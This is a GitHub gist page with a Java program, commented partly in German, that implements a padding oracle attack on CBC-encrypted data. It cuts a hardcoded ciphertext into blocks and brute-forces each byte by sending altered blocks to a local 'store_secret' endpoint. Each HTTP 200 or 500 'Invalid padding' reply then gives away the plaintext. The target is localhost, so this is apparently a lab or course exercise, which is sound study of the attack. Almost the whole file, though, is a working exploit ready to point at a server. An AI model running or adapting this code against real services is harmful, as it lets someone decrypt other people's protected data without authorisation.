Last active
December 18, 2015 09:19
-
-
Save t2d/5760362 to your computer and use it in GitHub Desktop.
Implementation of a Padding Oracle Attack in Java
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import java.io.IOException; | |
import java.io.UnsupportedEncodingException; | |
import java.net.MalformedURLException; | |
import java.net.URL; | |
import java.net.URLEncoder; | |
import java.net.URLConnection; | |
import org.apache.commons.codec.binary.Base64; | |
public class PaddingOracle { | |
public static void main(String[] args) { | |
//String cypher = "f63b6d4e576d5f49cb3085788d280236"; // IV | |
//String cypher = "7796e4ebcbb7a9fa2cbef4bd2b046a4d"; // erster Block | |
String cypher = "f63b6d4e576d5f49cb3085788d2802367796e4ebcbb7a9fa2cbef4bd2b046a4db3488d4e8b98618a5d366fe4c9634b0dff6bb874e18e81e9c217f15623cad973"; // Store 200 | |
int bs = 16; | |
byte[][] blocks; | |
int b = 0; | |
String solution = ""; | |
// teile cypher in ByteArray-Bloecke | |
int cl = cypher.length() / 2; | |
if (( cl % bs == 0 ) && (cl / bs > 1)) { | |
blocks = new byte[cl/bs][bs]; | |
for (int i=0; i<cl*2; i=i+bs*2) { | |
blocks[b] = hexStringToByteArray(cypher.substring(i,i+bs*2)); | |
b++; | |
} | |
} else { | |
blocks = null; | |
System.out.println("Cyphertext muss Vielfaches von Blocksize sein!"); | |
System.out.println("Cyphertext-Laenge: "+ cl + " Blocksize: " + bs); | |
System.exit(1); | |
} | |
// knacke bloecke | |
b = 0; | |
while (b < blocks.length -1) { | |
solution += new String(crackBlock(blocks[b+1], blocks[b])); | |
b++; | |
} | |
// delete padding | |
String[] paddings = {"01", "0202", "030303", "04040404", "0505050505", "060606060606", "07070707070707", "0808080808080808", "090909090909090909", | |
"0a0a0a0a0a0a0a0a0a0a", "0b0b0b0b0b0b0b0b0b0b0b", "0c0c0c0c0c0c0c0c0c0c0c0c", "0d0d0d0d0d0d0d0d0d0d0d0d0d", | |
"0e0e0e0e0e0e0e0e0e0e0e0e0e0e", "0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f"}; | |
for ( String padding: paddings) { | |
String hexPadding = hexStringToString(padding); | |
if ( solution.endsWith( hexPadding ) ) { | |
solution = solution.substring(0, solution.length() - hexPadding.length()); | |
} | |
} | |
System.out.println("Solution found: " + solution); | |
} | |
public static byte[] crackBlock( byte[] inputBlock , byte[] vorgaenger) { | |
// construct testArray | |
int bs = inputBlock.length; | |
byte[] testArray = new byte[bs*2]; | |
System.arraycopy(inputBlock, 0, testArray, bs, bs); | |
byte[] loesung = new byte[bs]; | |
int padding = 1; | |
// from last to first byte | |
for (int i=bs-1; i>=0; i--) { | |
int versuch = 0; | |
int code = 0; | |
// try all characters | |
while ( code != 200 ) { | |
testArray[i] += 1; | |
if (versuch > 256) { | |
System.out.println("Bittest fehlgeschlagen!"); | |
return loesung; | |
} | |
versuch++; | |
String testString = encode(testArray); | |
code = getCode(testString); | |
} | |
System.out.println("Bit gefunden: " + Integer.toHexString(testArray[i] & 0xff) + " in " + byteArrayToHexString(testArray)); | |
// berechne Loesungs-Byte | |
if (padding==0) { | |
System.out.println("Padding nicht gesetzt!"); | |
System.exit(1); | |
} | |
loesung[i] = (byte) (padding ^ vorgaenger[i] ^ testArray[i]); | |
System.out.println("Lösung: " + byteArrayToHexString(loesung) + " / " + new String(loesung)); | |
// setze almost valid padding fuer naechste Runde | |
if ( i > 0 ) { | |
padding++; | |
for (int j=i; j<bs; j++) { | |
//testArray[j] = (byte) (loesung[j] ^ (padding+16-i) ^ vorgaenger[j]); | |
testArray[j] = (byte) (loesung[j] ^ (padding) ^ vorgaenger[j]); | |
} | |
System.out.println("Set almost valid padding to " + (padding) + " in " + byteArrayToHexString(testArray)); | |
} | |
} | |
return loesung; | |
} | |
// send secret to server and return code | |
public static int getCode(String secret) { | |
Integer code = 1; | |
String host = "http://localhost:8888/store_secret/"; | |
String full = host + secret; | |
try { | |
URL url = new URL(full); | |
URLConnection con = url.openConnection(); | |
con.connect(); | |
String head = con.getHeaderField(0); | |
if ( head.equals("HTTP/1.1 500 Invalid padding") || head.equals("HTTP/1.1 500 Internal Server Error") ) { | |
code = 500; | |
} else if ( head.equals("HTTP/1.1 200 OK") ) { | |
code = 200; | |
} else if ( head.equals("HTTP/1.1 400 Bad Request") ) { | |
code = 400; | |
} else { | |
String StringHead = "Komischer Code: "; | |
StringHead += head.toString(); | |
System.out.println(StringHead); | |
} | |
} catch (MalformedURLException e) { | |
e.printStackTrace(); | |
} catch (IOException e) { | |
e.printStackTrace(); | |
} | |
//System.out.println(secret + " " + code); | |
return code; | |
} | |
//Converting a string of hex character to bytes | |
public static byte[] hexStringToByteArray(String s) { | |
int len = s.length(); | |
byte[] data = new byte[len / 2]; | |
for (int i = 0; i < len; i += 2){ | |
data[i / 2] = (byte) ((Character.digit(s.charAt(i), 16) << 4) + Character.digit(s.charAt(i+1), 16)); | |
} | |
return data; | |
} | |
//Converting a bytes array to string of hex character | |
public static String byteArrayToHexString(byte[] b) { | |
int len = b.length; | |
String data = new String(); | |
for (int i = 0; i < len; i++){ | |
data += Integer.toHexString((b[i] >> 4) & 0xf); | |
data += Integer.toHexString(b[i] & 0xf); | |
} | |
return data; | |
} | |
// Converting Hex to String | |
public static String hexStringToString(String hex) { | |
StringBuilder output = new StringBuilder(); | |
for (int i = 0; i < hex.length(); i+=2) { | |
String str = hex.substring(i, i+2); | |
output.append((char)Integer.parseInt(str, 16)); | |
} | |
return output.toString(); | |
} | |
// Do base64 and URL encoding of ByteArray | |
public static String encode( byte[] normal ){ | |
String url = new String(); | |
try { | |
String s = Base64.encodeBase64String(normal); | |
url = URLEncoder.encode(s, "ASCII"); | |
//System.out.println(s); | |
//System.out.println(url); | |
} catch ( UnsupportedEncodingException e ) { | |
e.printStackTrace(); | |
} | |
return url; | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment